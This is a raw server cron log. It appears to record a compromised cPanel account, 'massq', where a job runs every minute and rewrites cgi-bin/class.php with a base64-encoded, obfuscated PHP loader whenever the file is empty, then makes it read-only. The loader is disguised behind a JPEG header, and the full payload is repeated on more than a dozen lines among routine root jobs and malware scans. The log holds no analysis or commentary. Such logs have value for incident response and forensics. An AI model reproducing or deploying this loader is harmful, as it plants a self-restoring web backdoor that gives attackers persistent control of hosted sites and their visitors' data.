Nov 12 06:53:01 server CROND[20301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:54:01 server CROND[21117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:55:01 server CROND[22039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:55:01 server CROND[22040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:55:01 server CROND[22041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:56:01 server CROND[22668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:57:01 server CROND[23493]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:57:01 server CROND[23494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:58:01 server CROND[24388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:59:01 server CROND[25243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:00:01 server CROND[26143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:00:01 server CROND[26145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:00:01 server CROND[26146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:00:01 server CROND[26149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:01:01 server CROND[27064]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 07:01:01 server CROND[27065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:01:01 server run-parts(/etc/cron.hourly)[27064]: starting 0anacron
Nov 12 07:01:01 server run-parts(/etc/cron.hourly)[27077]: finished 0anacron
Nov 12 07:02:01 server CROND[27961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:03:01 server CROND[28774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:04:01 server CROND[29621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:05:01 server CROND[30444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 07:05:01 server CROND[30446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:05:01 server CROND[30445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:05:01 server CROND[30447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
